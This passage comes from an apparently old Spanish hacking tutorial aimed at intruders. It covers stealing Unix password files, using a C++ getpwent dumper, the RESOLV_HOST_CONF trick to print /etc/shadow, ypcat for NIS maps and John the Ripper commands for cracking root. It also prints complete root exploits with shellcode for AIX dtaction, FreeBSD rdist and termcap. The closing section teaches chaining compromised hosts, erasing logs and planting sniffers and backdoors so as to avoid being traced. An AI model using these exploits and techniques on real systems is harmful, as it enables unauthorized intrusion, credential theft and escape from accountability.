corresponde al rOOt. Igualmente, si hay otros users con

uid=0, estos usuarios son rOOt a todos los efectos, o

sea, tienen los mismos derechos que el rOOt ( nota para

el que vaya un poco perdido, el rOOt es la persona que

tiene un poder absoluto sobre el sistema pudiendo hacer

todo lo que le plazca). Muchas veces solo habra un user

con id 0 pero a veces hay varios con lo que se facilita

el trabajo :o) 

Los usuarios que sin tener el uid=0 tienen el mismo gid

que el rOOt, tambien tienen algunos privilegios por el

hecho de pertenecer al grupo del rOOt. Igualmente, hay

que observar los uid y los gid de otros personajes

particulares del sistema como wwwadmin, admin, www, bin ,

etc. 

La siguiente cadena indica el directorio home, es decir

al directorio que entraras cuando entres a esa maquina.

La ultima cadena indica el shell que usaras por defecto

cuando entres... hay varios tipos de shell.. sh, csh...

pero eso se comenta en cualquier sitio que hable sobre

unix por lo que para remitiros a las diferencias lo

podeis mirar alli. 

Vamos a hablar un poco sobre el algoritmo de cifrado: 

El algoritmo de cifrado es el llamado DES, el cual era un

algoritmo practicamente indescifrable cuando se ideo,

pero que con el paso del tiempo y la tremenda evolucion

de la tecnologia, cada dia se hace mas posible su

desencriptado, dada la velocidad de los ordenadores

actuales. 

Es casi imposible volver hacia atras a partir de un

password para obtener la palabra original. La unica forma

que se conoce de romper DES es a fuerza bruta, cosa que

se consiguio a principios de 1997 en internet, con

maquinas distribuidas (lo mismo que ahora intentan con

RC5). Tardaron 4 meses en romperlo, y eso que tuvieron

suerte y solo tuvieron que probar una pequeña parte de

todas las posibles claves. 

Otro aspecto a destacar es la existencia del password

aging, es decir que los password caducan. Esto es

importante conocerlo ya que si los passwords se renuevan

habitualmente, tendremos que acelerar nuestras acciones

si no queremos que tras haber crackeado el fichero

passwd, estos passwords ya hayan sido cambiados :o( 

Si existe el password aging, en el fichero de passwords

las entradas seran del tipo: 

Pepe:cualquier,43:34:3:Pepe perez:/home/pepe 

El formato es del tipo passwd,Mmww donde M es el maximo

numero de semanas que pueden pasar hasta que el password

sea cambiado y m es el minimo intervalo en el que puede

ser cambiado mientras que ww indica cuando fue la ultima

vez que se cambio el password. 

La relacion entre M, m y el numero real de semanas es: 

Caracter        Numero de semanas 

.                       0 

/                       1 

0-9                  2-11 

A-Z                 12-37 

a-z                  38-63 

Asi, en el ejemplo de Pepe, el password contiene la

extension ,43 que quiere decir que debe ser cambiado

antes de 6 semanas ( ya que el 0 corresponde al 2) y que

debe permanecer al menos 3. 

Entonces la pregunta es.. si es casi imposible

desencriptarlos.. ¿que hace unix/linux para leer el

fichero cuando entras al sistema??. Simplemente lo que

hace es leer el login y el passwd que introduces por el

teclado, los encripta y si coinciden con los

correspondientes en el fichero /etc/passwd ya estas

dentro!!! 

Por tanto, la forma de atacar un fichero de passwords de

Unix es precisamente la misma que usa el sistema

operativo para verificar un password: encriptar muuuuchas

palabras y comprobar cada una de ellas si coincide con el

password encriptado. Si coincide, ya tenemos un password,

y si no, probamos la siguiente palabra. Para hacer esto

necesitamos tres cosas: una lista de palabras a probar,

una lista con los passwords encriptados y un programa que

haga las pruebas. 

6.2.- Conseguir el fichero de passwd estando dentro de la

maquina 

6.2.1.- Introduccion 

Siempre que se tenga una cuenta en un sistema, debereis

entrar en el para pillar el famoso fichero de passwd

sobre todo si esa cuenta os la ha pasado otro hacker ya

que el root puede darse cuenta que esa cuenta es

peligrosa para sus intereses y cerrarla. 

Igualmente, antes de ir a pillarlo, haced un who para ver

si esta el root.. aunque muchas veces aparece el root y

realmente no esta ya que es facil hacer esto por lo que

cada uno que vea lo que hace en estos casos aunque con un

poco de sentido comun es sencilla la determinacion a

tomar. 

Asi, si teneis el fichero de passwd tendreis muchisimas

cuentas y os dara lo mismo que cierren la cuenta con la

que entrasteis en principio aunque esto realmente no es

asi por lo que no lo tomeis muy al pie de la letra ya que

un root que se de cuenta de que tiene un hacker rondando

( si el root controla el tema) siempre tiene las de ganar

en esta batalla :( 

Ademas, es conveniente cambiar de cuentas para entrar al

sistema ya que como se comentara mas adelante parte de lo

que hagais en un sistema UNIX se queda en los ficheros de

logs por lo que si no conseguis root y borrais estos

logs, vuestras huellas estaran ahi y nada mas que el root

tenga algo de interes por la seguridad vera que ha habido

un tio haciendo cosas inusuales, pero todo esto ya es

otro cantar que ya se hablara mas adelante. 

El resumen de los anteriores parrafos es que lo mejor es

una vez con una cuenta en el sistema, pillar el fichero

de passwords y luego hacerse root y borrar todas las

huellas... el problema es que no siempre todo esto es tan

sencillo :( 

En fin, suponemos que hemos conseguido una cuenta por

alguno de los metodos anteriores, asi, si la cuenta no es

muy restringida siempre podeis hacer un "cat

/etc/passwd". Si no tienen Shadow Passwords o NIS

aparecera una lista como la que habeis visto al

principio. Sino, aparecera algo similar a esto: 

root:21gCqQc/zPWgU:0:0:Super-User:/:/bin/csh 

sysadm:*:0:0:System V Administration:/usr/admin:/bin/sh 

diag:*:0:996:Hardware Diagnostics:/usr/diags:/bin/csh 

daemon:*:1:1:daemons:/:/dev/null 

bin:*:2:2:System Tools Owner:/bin:/dev/null 

uucp:*:3:5:UUCP Owner:/usr/lib/uucp:/bin/csh 

sys:*:4:0:System Activity Owner:/var/adm:/bin/sh 

adm:*:5:3:Accounting Files Owner:/var/adm:/bin/sh 

lp::9:9:Print Spooler Owner:/var/spool/lp:/bin/sh 

nuucp::10:10:Remote UUCP

User:/var/spool/uucppublic:/usr/lib/uucp/uucico 

auditor:*:11:0:Audit Activity Owner:/auditor:/bin/sh 

dbadmin:*:12:0:Security Database Owner:/dbadmin:/bin/sh 

rfindd:*:66:1:Rfind Daemon and Fsdump:/var/rfindd:/bin/sh

guest:zpB5nSLLjDOx2:998:998:Guest

Account:/usr/people/guest:/bin/csh 

4Dgifts::999:998:4Dgifts

Account:/usr/people/4Dgifts:/bin/csh 

will:5fg63fhD3d5gh:9406:12:Will

Spencer:/home/fsg/will:/bin/bash 

Aunque el problema que se puede dar en muchos de estos

sistemas, el directorio que contiene el fichero passwd

(este o no este shadow) no es de acceso a usuarios que no

sean root, por lo que en principio no conseguiremos ver

su contenido, pero eso se hara posible gracias a

sucesivas llamadas a getpwent(). Debemos nombrar este

archivo como getpass y direccionar su salida a un fichero

tal como sigue: 

cc cogerPass.cc -o cogerPass > fichero 

---------------------------------------Cortar a partir de

aqui------------------ 

#include <iostream.h> 

#include <pwd.h> 

struct passwd *pw; 

main() 

{ 

   while ((pw = getpwent()) != NULL) 

   { 

      cout << pw->pw_name; 

      cout << ":" << pw->pw_passwd; 

      cout << ":" << pw->pw_uid; 

      cout << ":" << pw->pw_gid; 

      cout << ":" << pw->pw_gecos; 

      cout << ":" << pw->pw_dir; 

      cout << ":" << pw->pw_shell << endl; 

   } 

   endpwent(); 

} 

------------------------------------- hasta aqui

------------------------------------- 

y tendreis el archivo de passwd renombrado con el nombre

fichero con lo que ya podeis hacer lo que querais con el.

Se os ocurre algo ¿?? XDD 

6.2.2.- PASSWORD SHADOWING 

En todo el texto nos hemos referido a este concepto sin

explicar lo que es. Posiblemente lo tendria que haber

comentado antes, pero espero que quien lea se leera todo

el texto antes de hacer nada. En fin, no me enrollo,

password shadowing consiste en un sistema de seguridad en

el cual en el archivo etc/passwd no estan los ficheros

encriptados, sino que habra algo del tipo: 

root:x:0:0:root:/root:/bin/bash 

bin:x:1:1:bin:/bin: 

daemon:x:2:2:daemon:/sbin: 

adm:x:3:4:adm:/var/adm: 

lp:x:4:7:lp:/var/spool/lpd: 

sync:x:5:0:sync:/sbin:/bin/sync 

shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown 

halt:x:7:0:halt:/sbin:/sbin/halt 

mail:x:8:12:mail:/var/spool/mail: 

news:x:9:13:news:/usr/lib/news: 

uucp:x:10:14:uucp:/var/spool/uucppublic: 

operator:x:11:0:operator:/root:/bin/bash 

games:x:12:100:games:/usr/games: 

man:x:13:15:man:/usr/man: 

postmaster:x:14:12:postmaster:/var/spool/mail:/bin/bash 

nobody:x:-2:100:nobody:/dev/null: 

ftp:x:404:1::/home/ftp:/bin/bash 

guest:x:405:100:guest:/dev/null:/dev/null 

bhilton:x:501:100:Bob Hilton:/home/bhilton:/bin/bash 

web:x:502:100:Web Master:/home/web:/bin/bash 

mary:x:503:100:Mary C. Hilton:/home/mary:/bin/bash 

En los que como se puede observar, los passwd encriptados

han sido sustituidos por una x aunque podria ser un * u

otros simbolos. En este tipo de sistemas de seguridad, el

verdadero archivo de passwd esta en un fichero que no es

el /etc/passwd, pero el problema es que ese archivo no es

accesible para todo el mundo, sino que es de solo lectura

por el root por lo que si eres un usuario normal, no

podras leerlo en principio. 

A continuacion se muestra en que directorio puede estar

el fichero shadow en los sistemas operativos mas usuales

(obtenida de FAQ 2600): 

Para determinar el tipo de unix que corre, usa uname –a

cuando estes ya dentro de la maquina, aunque se puede ver

con un telnet u otros metodos. 

Unix                  Path                           

Token 

-----------------------------------------------------------------

AIX 3                 /etc/security/passwd           

         ! 

       or             /tcb/auth/files/<first letter     

# 

                            of username>/<username> 

A/UX 3.0s             /tcb/files/auth/?/* 

BSD4.3-Reno           /etc/master.passwd             * 

ConvexOS 10           /etc/shadpw                    

     * 

ConvexOS 11           /etc/shadow                    

     * 

DG/UX                 /etc/tcb/aa/user/              

          * 

EP/IX                 /etc/shadow                       x

HP-UX                 /.secure/etc/passwd      

            * 

IRIX 5                /etc/shadow                       

x 

Linux 1.1             /etc/shadow                    

            * 

OSF/1                 /etc/passwd[.dir|.pag]         

       * 

SCO Unix #.2.x        /tcb/auth/files/<first letter   * 

                            of username>/<username> 

SunOS4.1+c2           /etc/security/passwd.adjunct   

##username 

SunOS 5.0             /etc/shadow 

                      <optional NIS+ private secure

maps/tables/whatever> 

System V Release 4.0  /etc/shadow                     x 

System V Release 4.2  /etc/security/* database 

Ultrix 4              /etc/auth[.dir|.pag]              *

UNICOS                /etc/udb                          *

Una manera de conseguir el fichero de passwd si esta

shadow y si usa libc 5.4.7 ( algunos aun la usan) es

aprovechar que algunos comandos como ping, traceroute,

rlogin y ssh estan suid por lo que se podra explotar como

sigue: 

Ejecutas bash o sh 

Export RESOLV_HOST_CONF=/etc/shadow ( o el fichero en el

que este dependiendo del sistema operativo) 

Ping asdf 

Y si no ha fallado nada te imprimira el shadow  jeje. Con

este metodo se pueden hacer mas kosas... pero es tan

obvio que lo omito okis? jeje 

6.2.3.- NIS 

Otro concepto que se ha comentado a lo largo del texto es

el de NIS por lo que a continuacion explico un poco lo

que es. 

NIS (Network Information System) es un protocolo de nivel

de aplicacion muy util para la gestion de configuraciones

cliente/servidor en sistemas UNIX. Anteriormente era

conocido como Yellow Pages y es un sistema de bases de

datos distribuidas que proporcionan un metodo uniforme

para el almacenamiento y de recuperacion de la

informacion sobre los recursos de red. En lugar de

gestionar archivos como /etc/host /etc/passwd,/etc/group

independientemente en cada maquina de la red, este

sistema posibilita que solo haya una base de datos

compartida por el resto de las maquinas clientes en un

servidor central. 

En fin, tras este rollo os preguntares y que mas nos da

esto del NIS??, pues bien, es que una de la informacion (

mapas) que es compartida son los famosos ficheros de

password que nosotros buscamos jeje. 

Asi, si estas dentro de una maquina con NIS y os sale

algo que parece un shadow en el fichero /etc/passwd

posiblemente haya un NIS. Esto se puede identificar como

se ha comentado, mirando la ultima linea del fichero de

passwd y si es algo del tipo "+::0:0:::" o mirando los

procesos del sistema, ya que el NIS siempre tendra

corriendo ypserv y algunos procesos mas que empiezan por

yp, es decir, yp*. Bien, si ya tienes claro que corre

NIS, lo que tienes que intentar es usar el ypcat tal como

sigue: 

ypcat /etc/passwd > ~/passwd 

y bajate el fichero passwd de tu directorio HOME usando

FTP o como quieras. Mas adelante se comentaran varios

metodos. 

En caso de que no tengais privilegios para ejecutar el

"ypcat", o en caso de que el "ypcat" no este o por si

acaso lo que aparece al ejecutar el "ypcat" vuelve a ser

basura otra vez, tendreis que recurrir a otros programas

para obtener los passwords como por ejemplo el pwget que

tambien es usado para pillar shadows: 

-----------------------------CUT

HERE--------------------------------------------------------------

# This is a shell archive.  Remove anything before this

line, 

# then unpack it by saving it in a file and typing "sh

file". 

# This archive contains: 

#          README                  Makefile        

pwget.1                      pwget.c                     

LANG=""; export LANG 

echo x - README 

cat >README <<'@EOF' 

These utilities provided a common command level access to

/etc/group and /etc/passwd much in the same way as

getgrent(), getpwent(), et al. 

This is especially useful if your system is running NFS

and Yellow Pages. With Yellow pages, there is no easy

command level interface for this information that will

give you the same results as the libc routines. 

These routines use "getopt()" so make sure your system

has it. 

Edit the Makefile for your machine/os and for the owner,

group, mode 

and destination of the binary and the man page. 

Install with: make install. 

File list: 

README                  -           This file. 

Makefile         -           Makefile. 

pwget.1                      -           Man Page. 

pwget.c                      -           Command source. 

@EOF 

chmod 664 README 

echo x - Makefile 

cat >Makefile <<'@EOF' 

# Configure CFLAGS/LDFLAGS for your machine/OS 

# for HP-UX and other Sys V systems: 

CFLAGS= -O -DSYSV 

# for VAX 4.[23] BSD, SunOS and other BSD based systems: 

# CFLAGS= -O -DBSD 

# Need getopt for pwget, include library that has it. 

# System V based system (like HP-UX), 4.3BSD and SunOS

have null LDFLAGS. 

LDFLAGS= 

# 4.2BSD requires getopt from someplace.

7.- CONSEGUIR ACCESO DE

ROOT 

En esta seccion voy a explicar tres metodos para

conseguir root aunque hay algunos mas que quiza adjunte

en posteriores ediciones. Los que voy a explicar aqui son

la fuerza bruta, los xploits para pillar root y troyanos.

7.1.- FUERZA BRUTA 

En fin, se puede intentar sacar el password del root a

partir del fichero /etc/passwd pero sinceramente es muy

dificil ke el root sea tan tordo de tener un password

sencillo aunque funciona aproximadamente un 5% de los

casos que algo es algo ( mi experiencia es ke kada 10-15

makinas sako un password de root kon fuerza bruta usando

solo los diccionarios usuales). 

Si no tienes mas recursos para pillar el root, puedes

probar a sacar el passwd de root usando el modo

incremental en cualquier crackeador. En el caso del john

the ripper, la sintaxis seria john –i –rules –users:0

ficheropasswd. 

He de avisar que el metodo incrementar es una locura, de

hecho hay textos por ahi diciendo que tardaria años en

sacar el passwd. Yo solo he probado una vez este metodo

para ver que tal iba y me saco el passwd tras unas 70

horas, pero tras hablar con gente por ahi.. creo que tuve

suerte., es decir que de aqui se deduce que no vale la

pena.. porque tener la maquina en marcha alomejor 100

horas o las que sean es una chorrada cuando se puede

rular algun xploit y pillar el root en 5 minutos :-) 

De todos modos, una manera de trabajar seria no dedicar

especial atencion al modo incremental, pero tras sacar

algunas cuentas de usuarios normales, pasar algunos

diccionarios con la opcion: 

John –wordfile:dict.txt –rules –users:0 passwd 

Y si rula, rula que tampoco se pierde tanto tiempo en

pasar un par de diccionarios :o) 

Pero en fin, en general el metodo mas rapido es usar un

xploit como se comentara a continuacion aunque puede

haber casos en los que el sistema operativo en el que

estais no encontreis xploits (sistemas operativos raros)

o que estos xploits no funcionen por lo que estando muy

desesperados podeis hacerlo asi aunque en el caso de que

los xploits no funcionen es ke posiblemente el root

kontrole y no creo que tenga un passwd sencillo, pero en

fin.. nunka se sabe :) 

7.2.- XPLOITS 

En esta seccion voy a intentar poner uno de cada sistema

operativo de los que suele haber por ahi y ademas voy a

intentar que sean nuevecillos .. pero como siempre se

pueden buscar en la red (siempre tengo el correo abierto

para mails diciendome ftp buenos jeje). 

Para entender el funcionamiento de la mayoria de ellos,

los famosos buffer overflow, puedes leer algunos

articulillos que hay en la red de Aleph One o Mudge por

poner algunos ejemplos.. opino que valen la pena ;o) 

Bueno.. aqui va el rollo de xploits (pongo uno de cada

pero aconsejo que tengais por lo menos 10 de cada sistema

operativo porque luego puede pasar que no tengas uno de

una version determinada, que no rule, etc. Ademas

aconsejo que los ordeneis por sistemas operativos en

directorios separados y si eres muy currante los puedes

ordenar hasta por versiones del sistema operativo, pero

eso ya es solo para gente ordenada jeje): 

No los pongo traducidos ya que creo que es una currada

que no sirve para nada porque son de facil lectura. Ahi

van: 

AIX 

/* Under AIX 4.2 (probably others) /usr/dt/bin/dtaction

does not handle 

properly the HOME environment variable and that spawns a

root shell. A lot 

of other X programs have the same problem and

/bin/X11/xlock is well known 

to be exploitable. 

Tested on AIX 4.2 box. 

SOLUTION: #chmod -s /usr/dt/bin/dtaction /bin/X11/xlock 

 OR apply patches */ 

/* 

 AIX 4.2,(others?) dtaction and HOME exploit by Georgi

Guninski 

---------------------------------------- 

DISCLAIMER 

 This program is for educational purpose ONLY. Do not use

it without 

permission. 

 The usual standard disclaimer applies, especially the

fact that Georgi 

Guninski 

 is not liable for any damages caused by direct or 

indirect use of 

 the information or functionality provided by this

program. 

 Georgi Guninski, his employer or any Internet provider

bears NO 

responsibility for content 

 or misuse of this program or any derivatives thereof. 

 By using this program you accept the fact that any

damage (dataloss, 

system 

 crash, system compromise, etc.) caused by the use of

this program is not 

 Georgi Guninski's responsibility. 

In case you distribute this, please keep the disclaimer

and my addresses. 

----------------------------------------- 

Use the IBM C compiler. 

Compile with: cc -g aixdtaction.c 

DISPLAY should be set. 

SOLUTION: #chmod -s /usr/dt/bin/dtaction                ;

at least stops root shells 

----------------- 

Georgi Guninski 

 guninski@hotmail.com 

 http://www.geocities.com/ResearchTriangle/1711 

Suggestions,comments and job offers are welcome! 

10-JUNE-97 

*/ 

#include <stdio.h> 

#include <stdlib.h> 

#include <string.h> 

char *prog="/usr/dt/bin/dtaction"; 

char *prog2="dtaction"; 

extern int execv(); 

char *createvar(char *name,char *value) 

{ 

char *c; 

int l; 

l=strlen(name)+strlen(value)+4; 

if (! (c=malloc(l))) {perror("error

allocating");exit(2);}; 

strcpy(c,name); 

strcat(c,"="); 

strcat(c,value); 

return c; 

} 

/*The program*/ 

main(int argc,char **argv,char **env) 

{ 

/*The code*/ 

unsigned int code[]={ 

0x7c0802a6 , 0x9421fbb0 , 0x90010458 , 0x3c60f019 , 

0x60632c48 , 0x90610440 , 0x3c60d002 , 0x60634c0c , 

0x90610444 , 0x3c602f62 , 0x6063696e , 0x90610438 , 

0x3c602f73 , 0x60636801 , 0x3863ffff , 0x9061043c , 

0x30610438 , 0x7c842278 , 0x80410440 , 0x80010444 , 

0x7c0903a6 , 0x4e800420, 0x0 

}; 

/* disassembly 

7c0802a6        mfspr   r0,LR 

9421fbb0        stu     SP,-1104(SP) --get stack 

90010458        st      r0,1112(SP) 

3c60f019        cau     r3,r0,0xf019 

60632c48        lis     r3,r3,11336 

90610440        st      r3,1088(SP) 

3c60d002        cau     r3,r0,0xd002 

60634c0c        lis     r3,r3,19468 

90610444        st      r3,1092(SP) 

3c602f62        cau     r3,r0,0x2f62 --'/bin/sh\x01' 

6063696e        lis     r3,r3,26990 

90610438        st      r3,1080(SP) 

3c602f73        cau     r3,r0,0x2f73 

60636801        lis     r3,r3,26625 

3863ffff        addi    r3,r3,-1 

9061043c        st      r3,1084(SP) --terminate with 0 

30610438        lis     r3,SP,1080 

7c842278        xor     r4,r4,r4    --argv=NULL 

80410440        lwz     RTOC,1088(SP) 

80010444        lwz     r0,1092(SP) --jump 

7c0903a6        mtspr   CTR,r0 

4e800420        bctr              --jump 

*/ 

#define MAXBUF 600 

unsigned int buf[MAXBUF]; 

unsigned int frame[MAXBUF]; 

unsigned int i,nop,mn=100; 

int max=280; 

unsigned int toc; 

unsigned int eco; 

unsigned int *pt; 

char *t; 

unsigned int reta; /* return address */ 

int corr=3400; 

char *args[4]; 

char *newenv[8]; 

if (argc>1) 

        corr = atoi(argv[1]); 

pt=(unsigned *) &execv; 

toc=*(pt+1); 

eco=*pt; 

if ( ((mn+strlen((char*)&code)/4)>max) || (max>MAXBUF) ) 

{ 

        perror("Bad parameters"); 

        exit(1); 

} 

#define OO 7 

*((unsigned short *)code + OO + 2)=(unsigned short) (toc

& 0x0000ffff); 

*((unsigned short *)code + OO)=(unsigned short) ((toc >>

16) & 0x0000ffff); 

*((unsigned short *)code + OO + 8 )=(unsigned short) (eco

& 0x0000ffff); 

*((unsigned short *)code + OO + 6 )=(unsigned short)

((eco >> 16) & 

0x0000ffff); 

reta=(unsigned) &buf[0]+corr; 

for(nop=0;nop<mn;nop++) 

 buf[nop]=0x4ffffb82; 

strcpy((char*)&buf[nop],(char*)&code); 

i=nop+strlen( (char*) &code)/4-1; 

if( !(reta & 0xff) || !(reta && 0xff00) || !(reta &&

0xff0000) 

        || !(reta && 0xff000000)) 

{ 

perror("Return address has zero");exit(5); 

} 

while(i++<max) 

 buf[i]=reta; 

buf[i]=0; 

for(i=0;i<max-1;i++) 

 frame[i]=reta; 

frame[i]=0; 

/* 4 vars 'cause the correct one should be aligned at

4bytes boundary */ 

newenv[0]=createvar("EGGSHEL",(char*)&buf[0]); 

newenv[1]=createvar("EGGSHE2",(char*)&buf[0]); 

newenv[2]=createvar("EGGSHE3",(char*)&buf[0]); 

newenv[3]=createvar("EGGSHE4",(char*)&buf[0]); 

newenv[4]=createvar("DISPLAY",getenv("DISPLAY")); 

newenv[5]=createvar("HOME",(char*)&frame[0]); 

newenv[6]=NULL; 

args[0]=prog2; 

puts("Start...");/*Here we go*/ 

execve(prog,args,newenv); 

perror("Error executing execve \n"); 

/*      Georgi Guninski guninski@hotmail.com 

        http://www.geocities.com/ResearchTriangle/1711*/ 

} 

/* 

-brute-script----------------------------------------------------------

#!/bin/ksh 

L=200 

O=40 

while [ $L -lt 12000 ] 

do 

echo $L 

L=`expr $L + 96` 

./a.out $L 

done 

*/ 

OTRO PARA AIX 

Existe una vulnerabilidad en el comando lquerypv de AIX.

no estoy seguro de 

la version. 

/usr/sbin/lquerypv -h /etc/security/passwd 

Puedes sustituir /etc/security/passwd por cualquier otro

fichero que no podamos leer (que no tengamos permiso de

lectura por no ser r00t). 

FREEBSD 

#include <stdio.h> 

#include <stdlib.h> 

#include <unistd.h> 

#define DEFAULT_OFFSET                       50 

#define BUFFER_SIZE                     256 

long get_esp(void) 

{ 

   __asm__("movl %esp,%eax\n"); 

} 

main(int argc, char **argv) 

{ 

   char *buff = NULL; 

   unsigned long *addr_ptr = NULL; 

   char *ptr = NULL; 

/* so you dont have to disassemble it, here is the asm

code: 

start: 

jmp     endofk0dez 

realstart: 

popl    %esi 

leal    (%esi), %ebx 

movl    %ebx, 0x0b(%esi) 

xorl    %edx, %edx 

movl    %edx, 7(%esi) 

movl    %edx, 0x0f(%esi) 

movl    %edx, 0x14(%esi) 

movb    %edx, 0x19(%esi) 

xorl    %eax, %eax 

movb    $59, %al 

leal    0x0b(%esi), %ecx 

movl    %ecx, %edx 

pushl   %edx 

pushl   %ecx 

pushl   %ebx 

pushl   %eax 

jmp     bewm 

endofk0dez: 

call    realstart 

.byte   '/', 'b', 'i', 'n', '/', 's', 'h' 

.byte   1, 1, 1, 1 

.byte   2, 2, 2, 2 

.byte   3, 3, 3, 3 

bewm: 

.byte   0x9a, 4, 4, 4, 4, 7, 4 

*/ 

   char execshell[] = 

   "\xeb\x23" 

   "\x5e" 

   "\x8d\x1e" 

   "\x89\x5e\x0b" 

   "\x31\xd2" 

   "\x89\x56\x07" 

   "\x89\x56\x0f" 

   "\x89\x56\x14" 

   "\x88\x56\x19" 

   "\x31\xc0" 

   "\xb0\x3b" 

   "\x8d\x4e\x0b" 

   "\x89\xca" 

   "\x52" 

   "\x51" 

   "\x53" 

   "\x50" 

   "\xeb\x18" 

   "\xe8\xd8\xff\xff\xff" 

   "/bin/sh" 

   "\x01\x01\x01\x01" 

   "\x02\x02\x02\x02" 

   "\x03\x03\x03\x03" 

   "\x9a\x04\x04\x04\x04\x07\x04"; 

   int i; 

   int ofs = DEFAULT_OFFSET; 

   /* if we have a argument, use it as offset, else use

default */ 

   if(argc == 2) 

      ofs = atoi(argv[1]);   

   /* print the offset in use */ 

   printf("Using offset of esp + %d (%x)\n", ofs,

get_esp()+ofs); 

   buff = malloc(4096); 

   if(!buff) 

   { 

      printf("can't allocate memory\n"); 

      exit(0); 

   } 

   ptr = buff; 

   /* fill start of buffer with nops */ 

   memset(ptr, 0x90, BUFFER_SIZE-strlen(execshell)); 

   ptr += BUFFER_SIZE-strlen(execshell); 

   /* stick asm code into the buffer */ 

   for(i=0;i < strlen(execshell);i++) 

      *(ptr++) = execshell[i]; 

   /* write the return addresses 

   ** 

   ** return address                                

            4 

   ** ebp                                 

                        4 

   ** register unsigned n                             0 

   ** register char *cp                                

            0 

   ** register struct syment *s                   

            0 

   ** 

   ** total: 8 

   */ 

   addr_ptr = (long *)ptr; 

   for(i=0;i < (8/4);i++) 

      *(addr_ptr++) = get_esp() + ofs; 

   ptr = (char *)addr_ptr; 

   *ptr = 0; 

   execl("/usr/bin/rdist", "rdist", "-d", buff, "-d",

buff, NULL); 

} 

FREEBSD 

There is a BSD exploit that works on the termcap file. it

has some entries 

like this. 

 telnet> env def TERM access 

 telnet> env def TERMCAP /path/and/name/of/uploaded/file 

 telnet> open victim.host.com 

and the source code is here: 

--------SNIP----- 

#include <stdlib.h> 

#include <unistd.h> 

#include <fcntl.h> 

#define filename "./termcap" 

#define entry   "access|Gimme r00t:\\\n :" 

#define bufsize 1300 

#define default_offset 870    /* Should work...*/ 

char shellcode[] = 

"\xeb\x35\x5e\x59\x33\xc0\x89\x46\xf5\x83\xc8\x07\x66\x89\x46\xf9"

"\x8d\x1e\x89\x5e\x0b\x33\xd2\x52\x89\x56\x07\x89\x56\x0f\x8d\x46"

"\x0b\x50\x8d\x06\x50\xb8\x7b\x56\x34\x12\x35\x40\x56\x34\x12\x51"

"\x9a\x3e\x39\x29\x28\x39\x3c\xe8\xc6\xff\xff\xff/bin/sh";

long get_sp(void) 

{ 

   __asm__("movl %esp, %eax\n"); 

} 

int main(int argc, char *argv[]) { 

   int i, fd, offs; 
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8- HACKEAR CON CONDON ( o

gateway) 

Tras explicar los metodos para entrar en maquinas y

pillar root, en este y el proximo apartado se va a

explicar un poco que hacer para ke no te pillen. 

En general, cuando tu hackeas una maquina sin ningun tipo

de proteccion, simplemente haces telnet victima.com o ftp

o el servicio que quieras. Esto esta muy bien porque

claramente la distancia mas corta entre dos puntos es la

linea recta, pero el problema es que en algunos logs de

la maquina victima aparece nuestro ip y por tanto nos

tienen perfectamente identificados con solo hacer un

last. 

Hay que puntualizar que otra manera de hacer las cosas es

no usar condon pero tener mucha experiencia en el borrado

de huellas pero eso no es aconsejable si no estas muy

seguro de tus habilidades. 

Un tema a discutir, seria cuando hay que usar

protecciones o no. Un consejo personal es hacerlo

dependiendo del tipo de maquina y del tipo de cosas que

se van a hacer en ella. No es lo mismo entrar en una

maquina de una universidad que sabemos que el root no

esta muy experimentado que entrar en una maquina con

medidas serias de seguridad. Tampoco es lo mismo entrar

para ver que la cuenta que has pillado funciona, hacer un

ls y poco mas, que entrar, ejecutar xploits, poner un

sniffer, etc. Obviamente, en el segundo caso hay que

tomar algun tipo de proteccion si no quieres acabar en la

carcel. Ademas, mi opinion es que este sistema es un

metodo de seguridad adicional ademas obviamente de borrar

huellas y usar este sistema simplemente por si has

fallado en algo pero no solo usar esto. Ademas, si tienes

una cuenta y la usas con condon y no borras huellas, no

te pillaran, pero seguramente veran los logs y te

cancelaran la cuenta o cambiaran cosas del sistema

dependiendo lo que hayas hecho. Te quitaran el sniffer,

te quitaran si tienes sushi, si tienes alguna backdoor,

etc. 

La manera de trabajar usando condon, consiste en usar

maquinas intermedias para saltar de una en otra hasta

llegar a la maquina objetivo. El esquema seria: 

Mimaquina-->Condon1-->Condon2-->Victima.com 

Ponemos el ejemplo de dos maquinas intermedias que sera

suficiente para la mayoria de casos, pero lo que es

cierto es que como las maquinas condon sean un poco

lentas.. nos podemos morir de asco y de aburrimiento :o( 

En el ejemplo anterior, si en victima.com nos pillan,

aparecemos con el ip de la maquina condon2 por lo que no

sera la nuestra. Si quisieran pillarnos tendria que ir el

root de la victima.com a hablar con el root de condon2

para convencerle de que le de tu ip ya que la maquina

condon2 tendra tu conexion en su log (siempre que no

hayas borrado huellas en la maquina condon2, cosa que

seria conveniente). Raramente un root de victima.com

hablara con condon2 diciendole que les ha entrado un

hacker y pidiendoles ayuda y sobre todo si una es de

Japon y la otra de Noruega (jeje) pero en casos extremos

todo esto se podria hacer legalmente por parte de la

policia, pero tienes que hacer algo muy gordo para eso.

Ademas, como se ha usado otra maquina condon1 se

multiplican nuevamente todos los problemas para

localizarte por lo que sera improbable si has borrado las

huellas medianamente bien. El problema de esto es que si

saltas a una makina de japon y luego a otra de noruega y

luego a otra de españa, puedes tardar 10 minutos en que

llegue a la destino si las intermedias van lentas :( 

Por ejemplo, si queremos hacer un telnet usando dos

condones, el procedimiento seria: 

% telnet condon1.com 

Te cuenta un rollo y te pide login y pass (que deben ser

conocidos) 

UNIX v.4.5 

Login: aaaaaa 

Password: xxxxxx 

Te da acceso a esa maquina y haces otro telnet: 

% telnet condon2.com 

Te cuenta otro rollo y te pide login y pass 

IRIS v.3.5 Please Login 

Login: pepito 

Password: xxxx 

% telnet victima.com <---------Sistema con seguridad

seria 

Te cuenta otro rollo y lo mismo: 

Login: porfinllego 

Password: xxxxxxxx 

Bienvenido! 

Y asi ya estamos en la maquina victima con 2 condones.

Supongo que entendeis el tema. Este procedimiento se

puede usar con cualquier servicio: telnet, ftp, etc. 

Es indispensable que las maquinas condon sean bastantes

conocidas por el hacker, es decir, que sepas que el root

no controla demasiado o que por algun motivo sabes que

esta bajo tu control absoluto ( aunque recuerdo que no

siempre todo es como parece ser :o( porque quiza te pases

de listo pensando que el root no tiene ni puta idea y

resulta que te esta tomando el pelo), ya que como haya

algun contratiempo puedes acabar en la carcel :o( o

tambien seria una putada que el root de esa makina sea un

tio competente (u otro hacker) y te este vigilando en

todo lo que hagas y te este logeando todo lo que haces

con los correspondientes inconvenientes.

Sobre esto, he de decir que se debe tener en cuenta que

hay administradores que controlan todos los aspectos del

hacking y te pueden estar haciendo exactamente lo que

piensas que le estas haciendo a el, es decir, el puede

tener puestos troyanos para ocultar su presencia o para

